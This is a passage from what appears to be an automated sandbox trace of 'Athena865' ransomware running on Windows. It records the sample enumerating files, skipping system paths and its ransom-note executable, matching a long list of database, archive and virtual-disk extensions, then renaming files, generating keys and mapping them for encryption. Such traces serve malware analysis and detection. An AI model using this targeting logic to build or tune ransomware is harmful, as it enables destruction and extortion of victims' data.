lpString2="daschema") returned 1 [0099.920] lstrlenW (lpString="db-journal") returned 10 [0099.920] lstrcmpiW (lpString1="UpdateInfo", lpString2="db-journal") returned 1 [0099.920] lstrlenW (lpString="db-shm") returned 6 [0099.920] lstrcmpiW (lpString1="teInfo", lpString2="db-shm") returned 1 [0099.920] lstrlenW (lpString="db-wal") returned 6 [0099.920] lstrcmpiW (lpString1="teInfo", lpString2="db-wal") returned 1 [0099.920] lstrlenW (lpString="dbc") returned 3 [0099.920] lstrcmpiW (lpString1="nfo", lpString2="dbc") returned 1 [0099.920] lstrlenW (lpString="dbs") returned 3 [0099.920] lstrcmpiW (lpString1="nfo", lpString2="dbs") returned 1 [0099.920] lstrlenW (lpString="dbt") returned 3 [0099.920] lstrcmpiW (lpString1="nfo", lpString2="dbt") returned 1 [0099.920] lstrlenW (lpString="dbv") returned 3 [0099.920] lstrcmpiW (lpString1="nfo", lpString2="dbv") returned 1 [0099.920] lstrlenW (lpString="dbx") returned 3 [0099.920] lstrcmpiW (lpString1="nfo", lpString2="dbx") returned 1 [0099.920] lstrlenW (lpString="dcb") returned 3 [0099.920] lstrcmpiW (lpString1="nfo", lpString2="dcb") returned 1 [0099.921] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo.Athena865") returned 113 [0099.921] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0099.922] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{00C95144-E912-40B3-A2D1-B8E12BC815D0}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.922] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0099.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.922] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.923] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.923] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.923] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0099.925] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0099.926] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.927] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.927] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.928] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.928] CloseHandle (hObject=0x154) returned 1 [0099.928] CloseHandle (hObject=0x17c) returned 1 [0099.928] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf4282f80, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xf4282f80, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xf431b500, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", cAlternateFileName="{1CE95~1")) returned 1 [0099.928] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.928] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.928] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2=".") returned 1 [0099.928] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="..") returned 1 [0099.928] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="windows") returned -1 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="temp") returned -1 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="boot") returned -1 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="perflogs") returned -1 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0099.929] lstrlenW (lpString="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo") returned 56 [0099.929] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo" | out: lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo") returned="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo" [0099.929] lstrlenW (lpString="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo") returned 56 [0099.929] lstrlenW (lpString="Athena865") returned 9 [0099.929] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0099.929] lstrlenW (lpString=".dll") returned 4 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2=".dll") returned 1 [0099.929] lstrlenW (lpString=".lnk") returned 4 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2=".lnk") returned 1 [0099.929] lstrlenW (lpString=".ini") returned 4 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2=".ini") returned 1 [0099.929] lstrlenW (lpString=".sys") returned 4 [0099.929] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo", lpString2=".sys") returned 1 [0099.929] lstrlenW (lpString="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo") returned 56 [0099.929] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo.Athena865") returned 113 [0099.929] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0099.930] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.930] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0099.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.931] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.931] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.931] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.932] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0099.933] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0099.937] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.937] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.937] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.940] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfb9f9fa0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xfb9f9fa0, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xfbb2aaa0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", cAlternateFileName="{1CE95~2")) returned 1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2=".") returned 1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="..") returned 1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="windows") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="temp") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="boot") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0099.940] lstrlenW (lpString="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo") returned 56 [0099.940] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo" | out: lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo") returned="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo" [0099.940] lstrlenW (lpString="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo") returned 56 [0099.940] lstrlenW (lpString="Athena865") returned 9 [0099.940] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0099.940] lstrlenW (lpString=".dll") returned 4 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0099.940] lstrlenW (lpString=".lnk") returned 4 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0099.940] lstrlenW (lpString=".ini") returned 4 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0099.940] lstrlenW (lpString=".sys") returned 4 [0099.940] lstrcmpiW (lpString1="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0099.940] lstrlenW (lpString="{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo") returned 56 [0099.941] lstrlenW (lpString="bak") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="bak") returned 1 [0099.941] lstrlenW (lpString="ba_") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="ba_") returned 1 [0099.941] lstrlenW (lpString="dbb") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="dbb") returned 1 [0099.941] lstrlenW (lpString="vmdk") returned 4 [0099.941] lstrcmpiW (lpString1="Info", lpString2="vmdk") returned -1 [0099.941] lstrlenW (lpString="rar") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="rar") returned -1 [0099.941] lstrlenW (lpString="zip") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="zip") returned -1 [0099.941] lstrlenW (lpString="tgz") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="tgz") returned -1 [0099.941] lstrlenW (lpString="vbox") returned 4 [0099.941] lstrcmpiW (lpString1="Info", lpString2="vbox") returned -1 [0099.941] lstrlenW (lpString="vdi") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="vdi") returned -1 [0099.941] lstrlenW (lpString="vhd") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="vhd") returned -1 [0099.941] lstrlenW (lpString="vhdx") returned 4 [0099.941] lstrcmpiW (lpString1="Info", lpString2="vhdx") returned -1 [0099.941] lstrlenW (lpString="avhd") returned 4 [0099.941] lstrcmpiW (lpString1="Info", lpString2="avhd") returned 1 [0099.941] lstrlenW (lpString="db") returned 2 [0099.941] lstrcmpiW (lpString1="fo", lpString2="db") returned 1 [0099.941] lstrlenW (lpString="db2") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="db2") returned 1 [0099.941] lstrlenW (lpString="db3") returned 3 [0099.941] lstrcmpiW (lpString1="nfo", lpString2="db3") returned 1 [0099.942] lstrlenW (lpString="dbf") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="dbf") returned 1 [0099.942] lstrlenW (lpString="mdf") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="mdf") returned 1 [0099.942] lstrlenW (lpString="mdb") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="mdb") returned 1 [0099.942] lstrlenW (lpString="sql") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="sql") returned -1 [0099.942] lstrlenW (lpString="sqlite") returned 6 [0099.942] lstrcmpiW (lpString1="teInfo", lpString2="sqlite") returned 1 [0099.942] lstrlenW (lpString="sqlite3") returned 7 [0099.942] lstrcmpiW (lpString1="ateInfo", lpString2="sqlite3") returned -1 [0099.942] lstrlenW (lpString="sqlitedb") returned 8 [0099.942] lstrcmpiW (lpString1="dateInfo", lpString2="sqlitedb") returned -1 [0099.942] lstrlenW (lpString="xml") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="xml") returned -1 [0099.942] lstrlenW (lpString="$er") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="$er") returned 1 [0099.942] lstrlenW (lpString="4dd") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="4dd") returned 1 [0099.942] lstrlenW (lpString="4dl") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="4dl") returned 1 [0099.942] lstrlenW (lpString="^^^") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="^^^") returned 1 [0099.942] lstrlenW (lpString="abs") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="abs") returned 1 [0099.942] lstrlenW (lpString="abx") returned 3 [0099.942] lstrcmpiW (lpString1="nfo", lpString2="abx") returned 1 [0099.942] lstrlenW (lpString="accdb") returned 5 [0099.942] lstrcmpiW (lpString1="eInfo", lpString2="accdb") returned 1 [0099.942] lstrlenW (lpString="accdc") returned 5 [0099.943] lstrcmpiW (lpString1="eInfo", lpString2="accdc") returned 1 [0099.943] lstrlenW (lpString="accde") returned 5 [0099.943] lstrcmpiW (lpString1="eInfo", lpString2="accde") returned 1 [0099.943] lstrlenW (lpString="accdr") returned 5 [0099.943] lstrcmpiW (lpString1="eInfo", lpString2="accdr") returned 1 [0099.943] lstrlenW (lpString="accdt") returned 5 [0099.943] lstrcmpiW (lpString1="eInfo", lpString2="accdt") returned 1 [0099.943] lstrlenW (lpString="accdw") returned 5 [0099.943] lstrcmpiW (lpString1="eInfo", lpString2="accdw") returned 1 [0099.943] lstrlenW (lpString="accft") returned 5 [0099.943] lstrcmpiW (lpString1="eInfo", lpString2="accft") returned 1 [0099.943] lstrlenW (lpString="adb") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0099.943] lstrlenW (lpString="adb") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0099.943] lstrlenW (lpString="ade") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="ade") returned 1 [0099.943] lstrlenW (lpString="adf") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="adf") returned 1 [0099.943] lstrlenW (lpString="adn") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="adn") returned 1 [0099.943] lstrlenW (lpString="adp") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="adp") returned 1 [0099.943] lstrlenW (lpString="alf") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="alf") returned 1 [0099.943] lstrlenW (lpString="ask") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="ask") returned 1 [0099.943] lstrlenW (lpString="btr") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="btr") returned 1 [0099.943] lstrlenW (lpString="cat") returned 3 [0099.943] lstrcmpiW (lpString1="nfo", lpString2="cat") returned 1 [0099.944] lstrlenW (lpString="cdb") returned 3 [0099.944] lstrcmpiW (lpString1="nfo", lpString2="cdb") returned 1 [0099.944] lstrlenW (lpString="ckp") returned 3 [0099.944] lstrcmpiW (lpString1="nfo", lpString2="ckp") returned 1 [0099.944] lstrlenW (lpString="cma") returned 3 [0099.944] lstrcmpiW (lpString1="nfo", lpString2="cma") returned 1 [0099.944] lstrlenW (lpString="cpd") returned 3 [0099.944] lstrcmpiW (lpString1="nfo", lpString2="cpd") returned 1 [0099.944] lstrlenW (lpString="dacpac") returned 6 [0099.944] lstrcmpiW (lpString1="teInfo", lpString2="dacpac") returned 1 [0099.944] lstrlenW (lpString="dad") returned 3 [0099.944] lstrcmpiW (lpString1="nfo", lpString2="dad") returned 1 [0099.944] lstrlenW (lpString="dadiagrams") returned 10 [0099.944] lstrcmpiW (lpString1="UpdateInfo", lpString2="dadiagrams") returned 1 [0099.944] lstrlenW (lpString="daschema") returned 8 [0099.944] lstrcmpiW (lpString1="dateInfo", lpString2="daschema") returned 1 [0099.944] lstrlenW (lpString="db-journal") returned 10 [0099.944] lstrcmpiW (lpString1="UpdateInfo", lpString2="db-journal") returned 1 [0099.944] lstrlenW (lpString="db-shm") returned 6 [0099.944] lstrcmpiW (lpString1="teInfo", lpString2="db-shm") returned 1 [0099.944] lstrlenW (lpString="db-wal") returned 6 [0099.944] lstrcmpiW (lpString1="teInfo", lpString2="db-wal") returned 1 [0099.944] lstrlenW (lpString="dbc") returned 3 [0099.944] lstrcmpiW (lpString1="nfo", lpString2="dbc") returned 1 [0099.944] lstrlenW (lpString="dbs") returned 3 [0099.944] lstrcmpiW (lpString1="nfo", lpString2="dbs") returned 1 [0099.944] lstrlenW (lpString="dbt") returned 3 [0099.944] lstrcmpiW (lpString1="nfo", lpString2="dbt") returned 1 [0099.944] lstrlenW (lpString="dbv") returned 3 [0099.944] lstrcmpiW (lpString1="nfo", lpString2="dbv") returned 1 [0099.944] lstrlenW (lpString="dbx") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="dbx") returned 1 [0099.945] lstrlenW (lpString="dcb") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="dcb") returned 1 [0099.945] lstrlenW (lpString="dct") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="dct") returned 1 [0099.945] lstrlenW (lpString="dcx") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="dcx") returned 1 [0099.945] lstrlenW (lpString="ddl") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="ddl") returned 1 [0099.945] lstrlenW (lpString="dlis") returned 4 [0099.945] lstrcmpiW (lpString1="Info", lpString2="dlis") returned 1 [0099.945] lstrlenW (lpString="dp1") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="dp1") returned 1 [0099.945] lstrlenW (lpString="dqy") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="dqy") returned 1 [0099.945] lstrlenW (lpString="dsk") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="dsk") returned 1 [0099.945] lstrlenW (lpString="dsn") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="dsn") returned 1 [0099.945] lstrlenW (lpString="dtsx") returned 4 [0099.945] lstrcmpiW (lpString1="Info", lpString2="dtsx") returned 1 [0099.945] lstrlenW (lpString="dxl") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="dxl") returned 1 [0099.945] lstrlenW (lpString="eco") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="eco") returned 1 [0099.945] lstrlenW (lpString="ecx") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="ecx") returned 1 [0099.945] lstrlenW (lpString="edb") returned 3 [0099.945] lstrcmpiW (lpString1="nfo", lpString2="edb") returned 1 [0099.945] lstrlenW (lpString="epim") returned 4 [0099.945] lstrcmpiW (lpString1="Info", lpString2="epim") returned 1 [0099.945] lstrlenW (lpString="fcd") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fcd") returned 1 [0099.946] lstrlenW (lpString="fdb") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fdb") returned 1 [0099.946] lstrlenW (lpString="fic") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fic") returned 1 [0099.946] lstrlenW (lpString="flexolibrary") returned 12 [0099.946] lstrcmpiW (lpString1="wsUpdateInfo", lpString2="flexolibrary") returned 1 [0099.946] lstrlenW (lpString="fm5") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fm5") returned 1 [0099.946] lstrlenW (lpString="fmp") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fmp") returned 1 [0099.946] lstrlenW (lpString="fmp12") returned 5 [0099.946] lstrcmpiW (lpString1="eInfo", lpString2="fmp12") returned -1 [0099.946] lstrlenW (lpString="fmpsl") returned 5 [0099.946] lstrcmpiW (lpString1="eInfo", lpString2="fmpsl") returned -1 [0099.946] lstrlenW (lpString="fol") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fol") returned 1 [0099.946] lstrlenW (lpString="fp3") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fp3") returned 1 [0099.946] lstrlenW (lpString="fp4") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fp4") returned 1 [0099.946] lstrlenW (lpString="fp5") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fp5") returned 1 [0099.946] lstrlenW (lpString="fp7") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fp7") returned 1 [0099.946] lstrlenW (lpString="fpt") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="fpt") returned 1 [0099.946] lstrlenW (lpString="frm") returned 3 [0099.946] lstrcmpiW (lpString1="nfo", lpString2="frm") returned 1 [0099.946] lstrlenW (lpString="gdb") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", 